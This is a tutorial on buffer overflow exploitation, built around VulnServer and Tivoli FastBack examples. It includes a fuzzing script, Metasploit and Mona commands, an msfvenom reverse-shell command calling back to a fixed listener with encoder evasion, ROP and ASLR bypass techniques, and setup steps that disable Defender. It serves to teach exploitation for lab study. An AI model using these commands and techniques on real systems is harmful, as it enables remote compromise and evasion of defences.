Buffer overflow exploitation is a systematic process. This guide presents a comprehensive, step-by-step methodology that has been used to discover and exploit real vulnerabilities in software like VulnServer, Tivoli FastBack Server, 10-Strike Bandwidth Monitor, and even FFmpeg .
Goal: Find input vectors that cause crashes.
Fuzzing is the first and most critical phase. You send increasingly large or malformed inputs to a target application while monitoring for crashes. The TRUN command in VulnServer, for example, crashes when it receives approximately 2984 bytes .
Tools:
- SPIKE (for network protocols)
- Boofuzz (Python-based, more modern)
- AFL/AFL++ (for file-based inputs)
- Custom Python scripts
Implementation Example:
#!/usr/bin/python3
import socket
def fuzz(target_ip, target_port, command):
"""Send progressively larger buffers to find crash point."""
buffer_size = 100
while buffer_size < 5000:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
payload = command + b"A" * buffer_size
s.send(payload)
s.close()
print(f"[+] Sent {buffer_size} bytes - no crash")
buffer_size += 100
except Exception as e:
print(f"[!] Crash at {buffer_size} bytes")
breakWhat to look for: Access violations, segmentation faults, or EIP (Instruction Pointer) being overwritten with your data (e.g., 41414141 which is "AAAA" in hex) .
Goal: Determine precisely where your data overwrites the return address (EIP/RIP).
Once you know the approximate crash length, you need the exact byte position that controls execution. Security researchers discovered this in CVE-2015-8522 by precisely controlling EIP after sending a block of exactly 0x118 bytes .
Method:
- Generate a unique, non-repeating cyclic pattern using Metasploit:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
- Send this pattern to the vulnerable application.
- When it crashes, examine the value in EIP (or RIP for 64-bit).
- Calculate the offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37654136 -l 3000
Verification: Modify your exploit to send "A" * offset + "BBBB" + "C" * rest. If EIP becomes 42424242 ("BBBB" in hex), you've successfully gained control .
Goal: Determine which bytes cannot be used in your exploit.
Bad characters break your payload. They include null bytes (\x00) that terminate strings, line feeds (\x0a), carriage returns (\x0d), and application-specific terminators . In the Tivoli FastBack exploit, the base address had to be checked for bad characters, and if present, the application was restarted .
Process:
- Generate all possible bytes from
\x01to\xff(excluding\x00initially). - Send them after your offset:
payload = b"A"*offset + badchars - In the debugger, examine the stack where your payload landed.
- Look for missing or corrupted bytes.
Using Mona (Immunity Debugger):
!mona bytearray -b "\x00"
!mona compare -f C:\mona\oscp\bytearray.bin -a <address_of_payload>
Common bad characters to test: \x00, \x0a, \x0d, \x20, \xff .
Goal: Find an instruction that redirects execution to your shellcode.
You need a stable address that contains a JMP ESP, CALL ESP, or other useful gadget. In the VulnServer exploit, this was achieved by finding a JMP ESP instruction in a loaded DLL . For CVE-2020-37043, attackers used ROP gadgets to bypass DEP .
With Mona:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
What to look for: Addresses without bad characters, preferably from modules compiled without ASLR (like essfunc.dll in VulnServer).
Goal: Create malicious code that does what you want (reverse shell, add user, etc.).
Use Metasploit's msfvenom to generate payloads that avoid your identified bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.177.141 LPORT=4444 \
EXITFUNC=thread -b "\x00\x0a\x0d" -f pythonEncoders: Use -e x86/shikata_ga_nai to evade signature detection, but be aware this increases payload size.
Goal: Assemble all components into a working exploit.
Structure:
[BUFFER] = [Padding] + [NOP Sled] + [Shellcode] + [Return Address]
- Padding:
"A" * offset(fills to the return address) - NOP Sled:
"\x90" * 32(increases reliability) - Shellcode: Your generated payload
- Return Address: The JMP ESP address (remember little-endian format)
NOP sled importance: As demonstrated in the Buffer Overflow Attack Lab, NOP sleds compensate for address imprecision and dramatically improve reliability .
Goal: Verify your exploit works reliably.
Set up a debugger on the target machine, run your exploit, and observe:
- Does EIP correctly point to your JMP ESP address?
- Does execution flow into your NOP sled?
- Does the shellcode execute without crashing?
Common issues:
- Stack alignment problems (add more NOPs)
- Bad characters missed (re-check)
- Address changes between debug and normal execution (ASLR)
Goal: Achieve your objective (shell, persistence, etc.).
The Tivoli FastBack exploit demonstrates advanced post-exploitation: after gaining code execution, it creates a CMD.exe process and redirects all pipes (STDIN, STDOUT, STDERR) to a socket connection, establishing an interactive reverse shell .
VulnServer is an intentionally vulnerable Windows server used to teach buffer overflow exploitation .
Vulnerability: The TRUN command performs an unsafe strcpy operation on user-supplied input.
Exploitation Timeline:
- Fuzzing: Discovered crash at ~2984 bytes using SPIKE
- Offset: Pattern offset revealed 2006 bytes to EIP
- Bad Characters: Identified
\x00as the only bad character - Return Address: Found JMP ESP at
0x625011AFinessfunc.dll - Shellcode: Generated Meterpreter reverse shell
- Result: Full system compromise from remote attacker
What this teaches: Even simple applications with no security features are trivially exploitable.
This real vulnerability in enterprise backup software demonstrates advanced exploitation techniques .
Vulnerability Details:
- Software: Tivoli FastBack Server 6.1.4
- Protocol: TCP port 11460
- Root Cause: Unsafe
sscanfcall with no bounds checking - Trigger: Opcode
0x534with0x118bytes in buffer 1
ASLR Bypass Technique:
The exploit calls FXCLI_DebugDispatch with opcode 0x2000 and uses the SymbolOperation functionality to resolve the base address of libeay32IBM019.dll. This is a textbook information leak bypass .
DEP Bypass with ROP:
A ROP chain invokes WriteProcessMemory to copy shellcode to an executable code cave in the .text section, bypassing DEP entirely.
What this teaches: Real exploits must bypass modern protections. The methodology extends beyond simple return address overwrites.
This vulnerability shows how even protected applications can fall .
Protections Present (and Bypassed):
- SafeSEH: Bypassed through careful exception handler overwrite
- ASLR: Bypassed via information leak
- DEP: Bypassed with ROP chain
Attack Vector: The registration key input field - a classic "trusted input" that users don't expect to be malicious.
What this teaches: Never trust any input, even in "safe" fields like registration keys. Local vulnerabilities are just as dangerous as remote ones.
This cutting-edge research from April 2026 demonstrates the future of vulnerability discovery .
KNighter Methodology:
- Seed CVE Selection: Start with a known vulnerability pattern
- LLM Pattern Extraction: AI identifies the core bug pattern
- Checker Generation: Creates custom static analysis rules
- Full Codebase Scan: Scans entire FFmpeg codebase
- Manual Triage: Confirms findings
Results: 4 confirmed, novel, unfixed vulnerabilities including:
- Integer overflow leading to heap overflow (CSCD decoder)
- Unchecked
avio_read()leading to uninitialized data use (Vivo demuxer)
Verification Pipeline: Uses Docker containers with AddressSanitizer and Valgrind to confirm findings in isolated environments.
What this teaches: Modern exploitation is shifting toward automated discovery. The methodology now includes AI-assisted pattern recognition.
While Burp Suite is primarily for web testing, it can help discover buffer overflows in web applications .
Steps with Burp:
- Intercept requests containing user input (form fields, cookies, headers)
- Enable "Unhide hidden form fields" to reveal all parameters
- Send oversized inputs (5000+ characters) to each field
- Monitor responses for crash indicators (500 errors, timeouts, memory errors)
Real example: A vulnerable web application accepting room numbers. Injecting 5000+ characters caused the application to read adjacent memory locations and display sensitive data to the attacker .
Limitation: Burp is not ideal for binary protocol fuzzing. Use SPIKE or Boofuzz for those.
The industry standard for Windows binary exploitation .
Essential Mona Commands:
| Command | Purpose |
|---|---|
!mona config -set workingfolder C:\mona\%p |
Set working directory |
!mona bytearray -b "\x00" |
Generate bytearray for comparison |
!mona compare -f bytearray.bin -a <address> |
Find bad characters |
!mona jmp -r esp -cpb "\x00" |
Find JMP ESP gadgets |
!mona seh -cpb "\x00" |
Find SEH overwrite addresses |
!mona findmsp -distance <length> |
Find pattern offset |
Used in every phase of exploitation .
Key Components:
- pattern_create.rb / pattern_offset.rb: Offset calculation
- msfvenom: Shellcode generation
- Metasploit console: Post-exploitation (Meterpreter, pivoting)
Linux exploitation requires GDB with extensions.
Essential Commands:
pattern create 200 # Create cyclic pattern
pattern search $rsp # Find offset
checksec # View binary protections
vmmap # Memory mapping
rop gadget # Find ROP gadgetsFor applications that process files (images, documents, media).
afl-fuzz -i input_samples/ -o findings/ -- ./target_binary @@Real example: The FFmpeg KNighter project used a similar approach with AddressSanitizer builds to detect heap overflows in media files .
Problem: Libc and binary load at random addresses.
Solution - Information Leak:
The Tivoli FastBack exploit calls SymbolOperation to resolve any symbol's address, then subtracts the known offset to get the DLL base .
Solution - Partial Overwrite (32-bit): If ASLR only randomizes the upper bytes, overwrite only the lower 2 bytes of the return address.
Solution - Brute Force (32-bit): With only 16-19 bits of entropy, you can brute force ASLR in hours.
Problem: Stack and heap are non-executable.
Solution - ROP (Return Oriented Programming):
Chain small instruction sequences ending in ret to perform operations .
Example ROP Chain for WriteProcessMemory:
[POP EBP; RET] + [destination] + [POP EBX; RET] + [source] + [CALL WriteProcessMemory]
Solution - ret2libc: Return directly to system() or execve().
Problem: The canary value changes if you overflow.
Solution - Information Leak: Read the canary via format string vulnerability.
Solution - Overwrite Function Pointer: Target adjacent function pointers before the canary.
Solution - Brute Force (Forking Servers): Canary resets each connection; guess byte by byte.
Problem: Exception handlers are validated before execution.
Solution: Find POP POP RET gadgets in modules compiled without SafeSEH.
Solution: Overwrite SEH chain with address of setcontext() or VirtualProtect().
Windows Target Setup:
- Disable Windows Defender Real-time Protection
- Disable Windows Firewall
- Install Immunity Debugger with Mona
- Run vulnerable application
Linux Target Setup:
# Disable ASLR (for testing)
sudo sysctl -w kernel.randomize_va_space=0
# Compile with protections disabled
gcc -z execstack -fno-stack-protector -o vulnerable vulnerable.c
# Set setuid for privilege escalation testing
sudo chown root vulnerable && sudo chmod 4755 vulnerable- Can I cause a crash with oversized input?
- Do I control EIP/RIP?
- What is the exact offset?
- Which characters are bad?
- Is there a JMP ESP or gadget?
- Can I generate working shellcode?
- Does the exploit work reliably (10/10 times)?
- Are there additional protections (ASLR, DEP, Canary)?
Exploit works in debugger but not normally:
- ASLR is enabled (disable or leak addresses)
- Debugger changes memory layout (use
!monato find stable addresses)
Shellcode doesn't execute:
- Stack is non-executable (use ROP)
- Bad characters corrupted shellcode (re-check with Mona)
- Stack alignment issues (add NOP sled)
Connection drops immediately:
- Shellcode is for wrong architecture (x86 vs x64)
- Exit function call terminates process (use
EXITFUNC=thread) - Firewall blocking reverse connection
Vulnerability: Buffer overflow in fingerd on Unix systems.
Impact: 6,000 machines (10% of the internet).
Methodology used: Discovered through code analysis, not fuzzing.
Vulnerability: Buffer overflow in Microsoft IIS 5.0. Impact: 359,000+ hosts in under 14 hours. Technique: Classic stack buffer overflow in the indexing service.
Vulnerability: Windows RPC buffer overflow (CVE-2003-0352). Impact: Over 1 million systems. Shellcode: Spawned a shell and downloaded the worm.
Vulnerability: Windows SMBv1 buffer overflow. Impact: WannaCry, NotPetya, billions in damages. Technique: Sophisticated heap overflow with multiple bypasses.
Vulnerability: Unchecked return values in FFmpeg. Discovery Method: LLM-powered static analysis (KNighter). Significance: Shift toward automated, AI-assisted vulnerability research .
Buffer overflow exploitation follows a systematic methodology that has remained consistent for decades while evolving to bypass modern protections. The core steps remain:
- Fuzz to find the crash
- Control EIP with exact offset
- Identify bad characters
- Find a return address (JMP ESP or ROP gadgets)
- Generate shellcode avoiding bad characters
- Build and test the exploit
- Bypass protections (ASLR, DEP, Canaries)
- Weaponize for post-exploitation
Whether you're exploiting VulnServer for learning, CVE-2015-8522 in enterprise software, or using AI to find new vulnerabilities in FFmpeg, the methodology remains your roadmap to success .
Remember: Always practice in isolated lab environments. Never test on production systems without explicit written authorization. The skills you learn defending against these attacks are just as valuable as the attacks themselves.